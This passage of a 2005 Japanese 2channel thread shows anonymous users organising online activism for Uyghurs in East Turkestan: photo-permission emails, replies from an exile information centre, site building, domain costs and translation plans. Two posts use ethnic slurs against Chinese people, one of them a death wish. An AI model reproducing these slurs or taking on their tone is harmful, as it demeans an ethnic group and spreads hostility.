とりあえずここから無断転載させてもらった写真の持ち主2人にメールしておいた。著作権はこの人達でおk。

I'm sorry to message suddenly.
I like your photgraph "Kashgar moment" very much.
Would you allow me to use this?

To inform the fact of the suppressed people in Xinjiang, I try to make the homepage.
As you saw or felt in the field, Uighur are faced difficulty by China Communist Party.
This photograph matches for the purpose to raise up disregard people's spirit.
My willing is not support to the independence movement of the East Terkisten, but improvement of their treatment.

Please consider it.
Regards,

きちんと伝わればいいんだけどw

120 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 02:17:14 ID:ZvrZcx2d0
あとは東トルキスタン情報センターのウイグル太郎さんに許可もらえば、著作権はクリアできる。
明日やるね。

121 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 02:26:25 ID:d9sozBa20
首切られた香田さんの時とか、日本とイスラムのパイプの無さが
問題視されてたよな。
全体的に日本は国際的に影が薄い、国連にカネをばら撒いているのにな。
東トル支援は日本の名声を高めるチャンスかもしれない。

122 :株板住人:2005/10/21(金) 02:33:47 ID:4lGh/6gn0
ここんとこの株高で調子に乗ってるおれ様が、東トルキスタンに募金したですよ。
シナの反日暴動にむかついたんで、シナ株はすべて処分したですよ。
プッ シナは死ね。

123 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 02:50:45 ID:4uL9nk0B0
ホッシャーーーーー!!!!!

124 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 02:53:21 ID:WCEq9wGV0
(´・ω・`)                  (´・ω・`)    (´・ω・`)    (´・ω・`)(´・ω・`)(´・ω・`)
 (´・ω・`)               (´・ω・`)      (´・ω・`)    (´・ω・`)     (´・ω・`)
  (´・ω・`)            (´・ω・`)        (´・ω・`)    (´・ω・`)(´・ω・`)(´・ω・`)
   (´・ω・`)         (´・ω・`)          (´・ω・`)    (´・ω・`)    
    (´・ω・`)      (´・ω・`)            (´・ω・`)    (´・ω・`)
     (´・ω・`)   (´・ω・`)              (´・ω・`)    (´・ω・`)
      (´・ω・`)(´・ω・`)                (´・ω・`)    (´・ω・`)
        (´・ω・`)                   (´・ω・`)    (´・ω・`)
                               (´・ω・`)    (´・ω・`)


125 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 02:53:31 ID:kRuwbppC0
せば、弁論大会みたいなの狙ってた人どうしたかな

126 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 03:00:25 ID:4uL9nk0B0
>>125おめ、青森すっしんが?

127 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 03:27:47 ID:S1N/kOkU0
>119-120
>著作権の確認
よろしくお願いしますです。

128 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 03:52:37 ID:v7yaX4740
今日も保守しますよー

129 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 04:23:00 ID:S1N/kOkU0
支援AGE

130 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 05:00:08 ID:4uL9nk0B0
あげあげ

131 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 05:20:29 ID:hO/SGeXOO
仕事帰り保守

132 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 05:23:52 ID:4uL9nk0B0
>>131おつかれさま


133 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 07:04:05 ID:mMYez5cu0
おはあげ

134 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 07:25:19 ID:S1N/kOkU0
おはやぅage

135 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 08:41:43 ID:Bd/w0IV90
あらよっと

136 :119:2005/10/21(金) 09:09:54 ID:hKt1NV/c0
>>83の写真で、ハングル版に使っている写真(女の子が弟をおぶっているの)の撮影者から連絡有り。

I would be willing to allow you to use the photo but first i would like
to see the website and I would need credit for the photo.

Thank you,
Narayan Mahon

モナパルトさんの英語版サイト紹介していいんだろうか・・・
まだ許可もらっていないんだから、文字だけのサイトとか用意したほうが良いのかも。
だれか暇ある人つくってもらえませんか?

137 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 09:44:36 ID:hKt1NV/c0
あとcreditってやっぱり金だよね?w
どうせハングル版にしか使っていないし、金払うくらいなら使わないってのもありなんだけど、
その場合まとめサイトの画像をもう一度作りなおしたいよね。

モナパルトさんが来ていないから修正すらできないんだがw

138 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 09:52:38 ID:DduMLWNr0
応援age

139 :名も無き兵士@電網遊撃隊 ◆mmYBMTf0Vk :2005/10/21(金) 09:54:17 ID:+1RO0t3Y0
修羅場を越えて、マジ氏にそうな俺がやってきましたよ

>>136
やべー!!勝手にタイトル部分に使ってるな・・・
どうしよう・・・orz

>>137
>あとcreditってやっぱり金だよね?w
ここでのクレジットってのは、おそらく著作権表示の事だと思うよ。


んでは、仕事に戻ります。

140 :fjell:2005/10/21(金) 09:54:57 ID:E3O7oq/l0
>>136
英語版のサイトでよいかと思いますけど。。
見ていただいて、「え、これはダメ」と言われたら考えまそ。

クレジットも入れるんだし、まずはどんなサイトだか見てみたいなー、
という、ごく自然なリクエストだと思います。


141 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 10:10:53 ID:hKt1NV/c0
>>139、140
乙です。
まだあのシンボル的な女の子の写真の撮影者からは連絡なし。
台湾の人なんで、気楽に許可くれそうだけど。

著作権標示なら良いけど、モナパルトさんがいないと変更できないまとめページを見せるのはちょっとまずいかな?
ミラー1の管理者が健在で即更新可能なら、そっち見せたいんだけど。

142 :ウイグル太朗にメールした:2005/10/21(金) 10:57:43 ID:hKt1NV/c0
東トルキスタン情報センター ウイグル太朗様。

突然のメール申訳在りません。

インターネット掲示板2ちゃんねるで、東トルキスタンの苦しみを世界に知らせ、中国への抗議を喚起しようと活動している者です。
具体的には「東トルキスタンの人々に平和と自由を」というサイトを製作し、これを日本、世界の掲示板やメールなどを使って広めようとしております。

そこで、そちらのウェブサイト英語版の"ARCHIVES & PICTURES"の写真を使用させて頂きたいのですが、許可して頂けますでしょうか?
実は既に使用しており、事後承諾となってしまうので心苦しいのですが、何卒よろしくお願い致します。

わたしたちが活動している2ちゃんねる上のスレッドは;
【合言葉は】 東トルキスタンを救え!! 【おっぱーい】
http://ex10.2ch.net/test/read.cgi/news4vip/1129735211

まとめウェブサイトは;
http://www.geocities.jp/saveeastturk/index.html
http://tefutefu.tm.land.to/eastturk/qa.html
http://plasticdreams.tm.land.to/
です。

今までのところ主に以下のような成果がありました。
・Friends of Aljazeeraへの投稿
http://www.friendsofaljazeera.org/node/320

・これがGoogleNewsのSupplessed Muslimに掲載
http://news.google.com/news?q=uighur&sourceid=opera&num=0&ie=UTF-8&oe=utf-8&sa=N&start=20

・infovlad.netのEast Turkestan - The real face of China 4に掲載される。
http://www.infovlad.net/?p=291

143 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 10:58:28 ID:kcEht0g/0
思うんだけど、いつまでもジオじゃなくて独自ドメインとって著作権とかそういう点をクリアしながら
これまでのは相互リンクで残しつつ強化版まとめサイトを作る必要があるんじゃなかろうか。
亡命政府とは別にアフィ、アマゾンなんかのこれまで出た色んな形で収益を上げて、
こっちからどんどんアピールしていく必要があるんじゃないか?


ttp://www.sakura.ne.jp/news/20050927-002.news

144 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 11:06:20 ID:+FqPDsl90
東トルキスタンを支持、応援、支援しよう。
http://www.uygur.org/japan/news.htm
東トルキスタン情報センター



145 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 11:23:10 ID:hKt1NV/c0
>>143
著作権に関してはきちんとクリアしないとまずいのは同意。
こういうのを懸念する暇がないくらい、急速に広がっていったからね。
いつのまにか世界レベルだったし。

独自ドメインに関しては、金が絡むから、会計・監査などの組織的整備とか、メンバー間の信頼関係とか時期早尚の感もあり。
その方向で話し合って行かなければならない段階になってきているのかもしれないが。
オフ会でもしないとだめかなw

146 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 11:28:58 ID:hKt1NV/c0
返事来たwww すげはやいwww

おはようございます。
ご連絡を有難うございます。
東トルキスタンの苦しみを2チャンネルで広げていただき、有難うございます。
これからも宜しくお願いします。
東トルキスタン国民を代表して心より感謝しております。
東トルキスタンの平和と自由、東トルキスタンの独立と自由>などのテーマでも
っと広げていただけたら助かります。
東トルキスタン情報センターのHPにある写真、映像、文章をご自由に使ってく
ださい。ただ<東トルキスタン情報センターより>とどっかに書いて頂いたら結
構です。
私はセンターの副主席、兼ニュース主任です。問題はありません。
他にも写真とか必要なら協力しますので、どうぞ遠慮なくメールにてご連絡くだ
さい。

東トルキスタン亡命政府のHPも作成中ですが、私はHPを上手く作れないので
、遅くなっています。形ができたら後はどんどん更新して行こうと思っておりま
す。
電話番号を教えて頂ければこれから電話でもお話したいです。
では、また。
ウイグル太郎
10月21日
info@eastturkistan-gov.org

http://www.uygur.org/japan/news.htm
http://www.uygur.org

147 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 11:31:29 ID:Sy4cwgVf0
>>146 返事ハヤスwwwww

148 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 11:42:44 ID:fHuCMNLp0
age

149 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 11:48:23 ID:q7Mxczh60
キタ━━━ヽ(ヽ(゚ヽ(゚∀ヽ(゚∀゚ヽ(゚∀゚)ノ゚∀゚)ノ∀゚)ノ゚)ノ)ノ━━━!!!!

150 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 11:52:24 ID:4uL9nk0B0
なんもしてないけどやる気出てきた〜〜〜!!!
がんばろーぜ〜〜〜!!

151 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 11:56:56 ID:oYEvzdit0
嬉しいなこういう反応がくると、ポスターとか作りたいな!

152 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 11:57:47 ID:hKt1NV/c0
返事しておいた。
俺は責任者でないし窓口程度の人間だけどそれでもよければ、ってことで携帯教えた。

あと>>88

ラマダンが明けたときには、何か特別なことをやりますか?
昨日、掲示板上で、これと絡めた活動をしてみたいというような話をしている者がいました。

って書いておいたw

153 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 12:22:35 ID:hKt1NV/c0
更にきた返事の抜粋

下記のページをご参考ください、
http://www5a.biglobe.ne.jp/~erkin/
中の写真や文章などを使ってもいいので、どうぞ。
ラマダン中にはみんな断食をしますので、特別なことはありませんが、東トルキ
スタン国内では断食を禁止したり大変です。
できれば、
http://www.uygur.org/japan/et/2005/1018.htm
を貴サイトで広げて頂ければ幸いです。
日本語から英語翻訳はできますか。
これからもよろしく。
ウイグル太郎

154 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 12:35:18 ID:8NfKykLEO
携帯で見れるまとめサイトが欲しい

155 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 12:40:31 ID:DduMLWNr0
wwみwwなwwぎwwっwwてwwきwwたww
自分のしてる行動が無意味じゃないって嬉しいなぁ

156 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 12:47:52 ID:euIvZ2uy0
なんかアメリカで李登輝が中国批判したり、どっかの国で対中セーフガード
とか、何かが動き始めてる。

>>152
トルコから日本の携帯にかけてくるのか
あっというまに万単位のカネが飛びそうだな

157 : ◆RXpf54Ttr6 :2005/10/21(金) 12:50:57 ID:rQWRirCk0
今のところ国際的に安く寄付ができる方法をドイツの銀行に相談しているらしい。
で、昨晩の書き込みで提案に近いものは全部投げてみた。

ものすごく長くなったので多少疲れた。
よって相手の返事が来るまで休憩したい。

写真と情報と定期的なステイタスリポートは今すぐやった方がいいと強調しておいた。
他にもアイデアあったら書き込んでね。
向こうから返事が来たらまとめるので。

158 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 12:51:49 ID:oYEvzdit0
>>156
日本にも事務所があるから、それだろうサスガニww

159 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 12:52:16 ID:VOgqdOMb0
これvipでやることか?

160 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 12:52:48 ID:uVl4IVN/O
>>142
不覚にも超真面目なメールの中に【おっぱーい】が紛れてたのに笑ってしまったw

やっぱスレタイもどこに出しても恥ずかしくない、真面目オーラ出すべきじゃぁないかな…

161 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 12:52:52 ID:+/WfTWBT0 ?#
>>153
ttp://my.reset.jp/~sato.tak/sight/f_frutbz.html

これはすごい

162 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 12:55:00 ID:8NfKykLEO
おっぱーいってどうなん?
少し引くんだが…

163 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 12:59:00 ID:PyaxiigI0
スレタイからおっぱい消さね??
テンプレに入れて残す程度でいいんじゃないかな??

164 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 12:59:57 ID:RqJCMvJd0
参加したいんだが、ブログとかで広めれば良いのか?

165 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 13:00:38 ID:4uL9nk0B0
だったら「母なる大乳(ダイチチ)」とかはどう?

166 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 13:01:36 ID:oYEvzdit0
すげーな、フルーツ天国!果物美人萌 ☆----(・∀・)----☆ 水もいっぱいあんだな

167 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 13:03:30 ID:8NfKykLEO
無理やりVIPっぽくしてる感がしてならない…←おっぱい
堂々とVIPでやればいいし、おっぱいもう要らんだろ

168 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 13:03:47 ID:hKt1NV/c0
>>157
お疲れさまです。
これからの連絡もよろしくお願いします。

169 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 13:03:59 ID:30vbfLqx0
 俺はよその国の知らない奴らより、こんな糞スレにひねもすへばりついて
無駄な人生送ってるお前らの腐りきった魂を救いたい 哀れなニートども、
今こそ立ち上がり苦難に打ち勝つのだ!!東トルキスタン?(←どこにあんのよ、それ。
世界地図見たけどどこにもなかったぞ(笑))のことなんか忘れろ、
お前らがどう騒ごうと何か変わるわけじゃない。それより自分を見つめろ、
見るに耐えない醜いおのれの姿を!

170 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 13:07:06 ID:sgfrtr2P0
>>169
釣り師、乙!wwwwwwwwwww

171 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 13:11:23 ID:hKt1NV/c0
>>164
ブログで紹介大歓迎です。

以下テンプレ

『 東トルキスタン』、をインフォシークで検索してください。お願いします。
検索ランキングで上位に入ったらMBSの番組である「ちちんぷいぷい」で
中国共産党に苦しめられているこの地域やそこに住む先住民への弾圧、独立問題が
取り上げられるかもしれません。ご協力をお願いします。
http://www.infoseek.co.jp/
http://www.infoseek.co.jp/Keyword?pg=ranking.html

もしかたらこの検索ランキングで頑張ればこういう子供達を救えるかも知れません。
お願いします。
http://web.drive.ne.jp/1/soko/VIP04596.jpg
何百万人という人々の命が奪われている事実をお願いです、知ってください。
まとめサイト
http://www.geocities.jp/saveeastturk/
簡単説明Flash
http://www.geocities.jp/saveeastturk/0908.swf
2ちゃんねらーにできること
http://www.geocities.jp/saveeastturk/forvipper.html

172 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 13:13:37 ID:8NfKykLEO
VIPPERって過激派じゃないの?

173 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 13:15:51 ID:4uL9nk0B0
>>172意図的な一般化 キタ━━━━(゚∀゚)━━━━!!!!

174 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 13:16:06 ID:+/WfTWBT0 ?#
VIPPER(ウィッペル)は最強のプロイセン騎士の称号ですよ

175 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 13:22:29 ID:RqJCMvJd0
>>171
ありがとです

紹介しますです

176 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 13:25:16 ID:hZrjwrgT0
名前は聞いてたけど今日始めてこのスレ見たよ
現在進行形でこんなことしてるチャンコロどもに
日本の過去の占領をうだうだ言う権利なんかねえじゃんか
半島よりずっとタチ悪いよ

177 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 13:34:49 ID:hKt1NV/c0
>>175
ミラー2にリンク貼ってもらえますか?
関連リンク>2chを扱ったブログ/サイト

178 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 13:35:52 ID:tBlLIIFW0
何と言うか・・・VIPだから埋もれてしまっているかもしれない。こういうスレ。人権擁護法も含めね。

ニュー速+とか、政治系でもやったほうがいいんじゃないだろうか。いやもう同時進行でやってるならいいんだけども。
少なくとも俺自身はVIPに来て何度かこのスレタイを見たけど(東トルキスタン)、実際に開いたのは今日が始めて。

どっか、板住人が進撃に受け止めてくれるような板にも進出したほうがいいんじゃないかと、ちょっとそう思った次第です。

179 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 13:38:45 ID:f5DBRrn+0
ところでウイグル太郎っていくつくらいの人なの?
おれは漠然と30歳くらいだと思ってるんだが。
意外とこんな感じの人だったら面白いな↓
http://www11.ocn.ne.jp/~mino0722/homeini2.jpg

180 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 13:43:03 ID:f5DBRrn+0
>>178
もう、あちこちのスレに立ってるよ。

181 :名も無き兵士@電網遊撃隊 ◆mmYBMTf0Vk :2005/10/21(金) 14:04:19 ID:Li72pOz10
仕事修羅場進行続行中・・・orz
昼休みに、こんなの作ってみますた。

http://www6.atwiki.jp/eastturkistan/pages/14.html

まとめ用バナー以外ご自由に、どうぞお持ち帰りください。


それと、一度いままである画像なんかのリソースをきちんとまとめて、
ちゃんと提供できる様にしないと、もったいない様な気がするんだが・・・

じゃ、仕事に戻るを。⊂二(^ω^)二⊃ブーン

182 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 14:05:45 ID:4kPhSRtF0
>>181
GJっす!

183 :名も無き兵士@電網遊撃隊 ◆mmYBMTf0Vk :2005/10/21(金) 14:07:48 ID:Li72pOz10
>>181
バナーじゃない・・・、タイトル画像です・・・orz
色々な意味で、おっぱいおっぱい・・・いや、いっぱいいっぱい。

じゃ、本当に仕事に戻るを。⊂二(^ω^)二⊃ブーン

184 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 14:18:03 ID:v7yaX4740
97を書き込んだ者ですが、写真素材の追加・権利問題は何とかクリア出来そうですね。
ご確認いただいた方々、ご苦労様でした。

さて…仕事の合間に「Bluerose」をeps化してみました。
需要があるかは判りませんが取り合えずUPしておきましたので、転載・改変等も含め、御自由にご利用ください。
http://uploaderlink.hp.infoseek.co.jp/cgi-bin/512kb/src/up0151.zip.html

185 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 14:20:35 ID:RqJCMvJd0
>>177
おkです

186 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 14:52:14 ID:kcEht0g/0
画像使用許可が下りたし、まとめサイトがどんどん充実するなage

187 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 15:05:11 ID:e9Ev54n90
どうもミラー2()の中の人です

>143,145
長いけど save east turkestan でドメインが空いてるか調べてみた
ほとんど空いていたけど
saveeastturkestan.com
saveeastturkestan.net
saveeastturkestan.org
saveeastturkestan.info
saveeastturkestan.jp
この辺りがいい感じかな。
でもjpドメインは高いのがネック
Value Domain で取って別なサーバで使うってのが現実的。

>154
携帯で見れるまとめサイト
個人的に頼まれた仕事で携帯サイトを作る予定なので
練習ついでといっては失礼だけど作るかも

>184
>1の専用ロダに転載していいですか?

188 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 15:28:02 ID:e9Ev54n90
>184
転載自由だったのね。見逃してました,スマソ

189 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 15:28:27 ID:NnxDxlGc0
オッパイの文字が目に飛び込んできたので来ました。
なんか手伝える事ないでしょうか?

190 :spinel:2005/10/21(金) 15:49:50 ID:hKt1NV/c0
>>189
>>171でよろしく
あとはまとめミラー2で、凸先などもまとまっているのでそちらを参照ください。

>>187
携帯サイトよろしくお願いします



まだここのシンボルの女の子の撮影者からは許可が来ていないけど、とりあえず

jahula(民族衣装の女の子の撮影者)、don_narayan(ハングル版の弟をおぶった女の子)の2人と、
東トルキスタン情報センターのクレジットを加えた、英語版/中国語版ページをだれか作製してもらえませんか?

まとめミラー1が更新されればベストなんだけど、製作者の人見てませんかね?

191 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 16:59:51 ID:METC1v5t0
頂!

192 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 17:20:39 ID:nONT4Ajp0
vipってさ〜、つまんねぇことにバカ騒ぎしたり、
煽って煽られて、荒らし荒らされって板じゃなかったのかよ〜・・・・・

・UD
・献血・骨髄バンク登録
・人権擁護法案反対
・韓国人への入国ビザ問題
・外国人参政権問題
・嫌韓流
・歴史教科諸問題
・中国の反日暴動問題

・・・あ〜、もう! 数え切れん!!

おまいらのせいだぞ! 社会人になって図書館通い始めたのは!
メル凸、電凸、FAX凸!
本職そっちのけで、近代日本史やら読むようになっちまった。

その上、今度は「東トルキスタン」かよ・・・

もうね、とことん付き合うからさ、どんどん問題提起してくれ。
マスコミより、まずおまいらを信用するから。
戦争を知らない世代の人間として、語り継ぐものを見つけさせてくれ。




やっぱこれも無いと


193 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 18:06:54 ID:+GbJu37p0
>>187
ドメインって、いくらくらいすんの?

194 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 18:14:34 ID:+/WfTWBT0 ?#
業界最安のValueDomainはこんな感じになっております。
ttp://www.value-domain.com/

195 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 18:39:40 ID:eQJlLhRM0
ほんとだ、jpって高いね。
年数が書いてあるところを見ると
買い切りはできないみたいだな

196 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 18:46:43 ID:+/WfTWBT0 ?#
10年分くらい振り込んどけば設定しとくと勝手に更新してくれるけど、ね・・高い

197 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 18:50:00 ID:R4KTr3G+O
自分にはこんなことしか出来ないが…自分のサイトに宣伝しといた。
みんな頑張ってね。

http://hp9.0zero.jp/142/74792132/

198 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 19:23:29 ID:v7yaX4740
>>197


199 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 19:35:28 ID:dLY6fLtf0
自称100億の巨額投資家 山本一郎@切込隊長が
このスレや>>1のサイトからネタを盗用した疑いが
強い件について
http://live19.2ch.net/test/read.cgi/market/1129341444/

まとめサイト「キャッチミーイフユーキャン」 切込隊長@山本一郎は嘘つきなのか?
http://blog.goo.ne.jp/catchme_2005/


切込隊長による中国論, 2005/10/20
レビュアー: 樽河小生   ねこ大好き

7章では靖国問題やネットで今話題の東トルキスタンに
関連する内容にも触れられているため保守派、中道派、
価値の高い一部の住人に取っても得るものは多いだろう

”俺様国家”中国経済とつきあう法 文春新書
切込隊長・山本一郎 (著)
http://www.amazon.co.jp/exec/obidos/ASIN/4166604694/

200 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 19:39:00 ID:v7yaX4740
>>197
有難うございます。
でも、命の数が少ないような…

>>ミラー2の中の人
「Bluerose.zip」をUPした者です。
「専用うpろだ」があるのだから、始めから其方にUPすれば良かったですね。
お手数をお掛けして、申し訳ありませんでした。
明日あたり、「月と星」「狼のシルエット」をパス化しようかと考えております。
次はスペースをお借りして直接其方にUPしますので、宜しくお願いいたします。

201 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 19:49:57 ID:e9Ev54n90
>193
安いところだと
ローマ字.com/net/info/orgが一年で税込み1000円前後。
ローマ字.jpが一年3600円〜かな。
バリュードメイン(http://www.value-domain.com/)とか
お名前.com(http://www.onamae.com/)辺りを参照してみて。



202 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 20:17:22 ID:XqdPhokC0
>>199
東トル問題を広めることになるから
歓迎すべきことだと思う。

203 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 20:19:21 ID:XqdPhokC0
ドメインって、自分で作れないのか?
「.vip」とか、ナウイよ。

204 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 20:46:36 ID:S450CumZ0
>>202
嘘吐きが発言すると捏造とうたが(ry

まとめサイト「キャッチミーイフユーキャン」 切込隊長@山本一郎は嘘つきなのか?
http://blog.goo.ne.jp/catchme_2005/
私家版:切込隊長を客観的に検証するスレッド まとめサイト
http://g0aw66ngc6.seesaa.net
キーワード - 切込隊長経歴疑惑?(ソーシャルブックマークフロッグ!)
http://www.flog.jp/labelinfo.php/%90%D8%8D%9E%91%E0%92%B7%8Co%97%F0%8B%5E%98f%81H
デル株は1株2ドル40セントでは買えなかった。
http://www.geocities.jp/kirikomi1973/Dell/index.html
切込隊長@山本一郎と扶桑社
http://fusoshatokiri.seesaa.net/
切込隊長@山本一郎辞典
http://blog.livedoor.jp/kirik_0104/

205 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 21:00:37 ID:e9Ev54n90
>190 spinel氏
んじゃあ今から勉強してきますノシ

>203
.vipは無いなあ
ドメインはICANNって所が一元管理してるから新たに作るのは無理かな。
ドメインは限られた資源だししょうがないよ
ドメインの種類に関しては以下のページを参照して。
http://www.nic.ad.jp/ja/dom/types.html


206 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 21:03:30 ID:BIv+1SA4O
>>152さん
具体的な案がある訳ではないのですが、24日にとりあえず絶食してw
官邸近くで屋外宴会オフとか考えたんですが…
時間的に難しいですね。
発案者で、アラビア通の小池大臣にメル凸する(内容は…考えてません。百合子タソのへそだしべりーだんす、あ、いや)。
八百万の神の国として、宗教的弾圧(極端な原理主義的行動は除く)民族弾圧、信教の侵害に抗議するとかの形で…。

207 :fjell:2005/10/21(金) 21:41:15 ID:E3O7oq/l0
>>143>>145、みなさま
2ch有志で独自のボランティア活動、いいと思います。
人権侵害反対! 自由と平和を! という方向性がいいなぁ。
亡命政府の方では、国際政治問題にからんでしまうために、
どうしても動きにくい部分があると思うので、
自由意思によるボランティアで草の根運動。
まぁ、まずは東トルキスタンの問題について広めることが一番ですけど。

今一度、東トルキスタン情報センターのサイトを読み直したんですが、
英語版のサイトでは、2002年までは、とても系統だった活動をされていた様子。
ところが、どうもここ最近のアクションは見当たりませんでした。

なにしろウイグル自治区全体の人を人質をとられているようなものでしょうから。。
亡命政府の人たちも、海外に亡命したからといっても、活動の制限は受けますよね。。心配なり。

>>146>>157 乙ですー

208 :fjell:2005/10/21(金) 21:48:54 ID:E3O7oq/l0
>>190 英語版作成で、お手伝いさせてださいな。
どこを翻訳すればいいのでそ?
英語はあまり得意ではない(いちおう仕事で使うけど自己流)ので、
われもと思われる方、ぜひご一緒にー

209 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 21:54:06 ID:4uL9nk0B0
>>208 英語は読み専で、さっぱり作文・会話しないから・・・
日本語訳なら何とか

自信とと時間はないが、一応、ドイツ語勉強中の身。
まあ、ドイツ語は英語で言う中三レベルくらいですが。
それでもできることがあればぜひ。

210 :fjell:2005/10/21(金) 22:44:27 ID:E3O7oq/l0
>>209
アテクシも日本語訳の方が得意です。ネイティブなんで。
ぼちぼちっと亡命政府のページとか、翻訳しましょっか?
ちょっと政治色からむのが難ですが、「人権を尊重し、平和的な民主主義政権樹立により、国際平和に貢献したい」・・・と、
いいこと書いてあるんですけどね。。。日本語版がないみたいで、残念なんですね。

えっと。(なぜか突然)イタリア語版のキャッチコピーを置いておきます。
NO alle violazioni dei diritti umani (dall'autorità cinesi) in East Turkistan.
(直訳)東トルキスタンにおける(中国当局による*)人権侵害にノーと言おう!
英語からの直訳だと、ちと変なので、イタリア風にしてみました。*カッコの部分は削除してもOK。










211 :fjell:2005/10/21(金) 22:46:40 ID:E3O7oq/l0
連投ごめんなり
>>209 あー。「しまっしょか」というのは、「ぜひご一緒に」という意味なんで、
できる範囲でhelp me。

212 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 22:53:15 ID:4uL9nk0B0
>>211 時間が取れたら、是非。
(って、俺より忙しい人がここにはごろごろいるんだろうな・・・)

213 :たらこ@まとめ2:2005/10/21(金) 23:36:34 ID:e9Ev54n90
携帯用のサイトの作り方はひと通り分かった。
(普段からいじってるXHTMLだったというオチ)
更新頻度が低くて本家まとめサイト(&ミラー1)のコンテンツを
全部入れるだけなら2-3日中にできると思う。
とりあえずこれからサンプルページ作るので叩き台程度にしてクレ。
p.s. 携帯用のページは広告がうざいと思うので自前の有料鯖にup予定

>fjell&>209&他の方々
各国語版よろしくお願いします。
一応私もできる範囲で翻訳を手伝いますが....。

214 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 23:43:28 ID:ZvrZcx2d0
>>205
がんがってください。

>>208、209
ウイグル太郎さんに聞いてみますね。 
あと、ここのまとめサイトのQ&A英訳がまだなんですよね、 実はw
これも欲しいですな



215 :karabuki:2005/10/21(金) 23:47:17 ID:U70Myl690
>>210
先日はGoogle Groupでの援護射撃、ありがとうございました。

あいにく外国語、世界情勢ともに疎いのですが、
自分にできることがあれば協力させてください。



216 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 00:08:22 ID:a57t97tR0
http://www.mofa.go.jp/mofaj/gaiko/oda/shiryo/jisseki/kuni/04_databook/03_c_asia/c_asia.html
今回の件で中央アジアに興味が出てきたんで、いろいろと調べてみたよ。
んで、何かと話題になることが多いODA。
例えば対ウズベキスタン
 >2003年度のウズベキスタンに対する無償資金協力は15.52億円(交換公文ベース)、
 >技術協力は12.28億円(JICA経費実績ベース)であった。2003年度までの援助実績は、
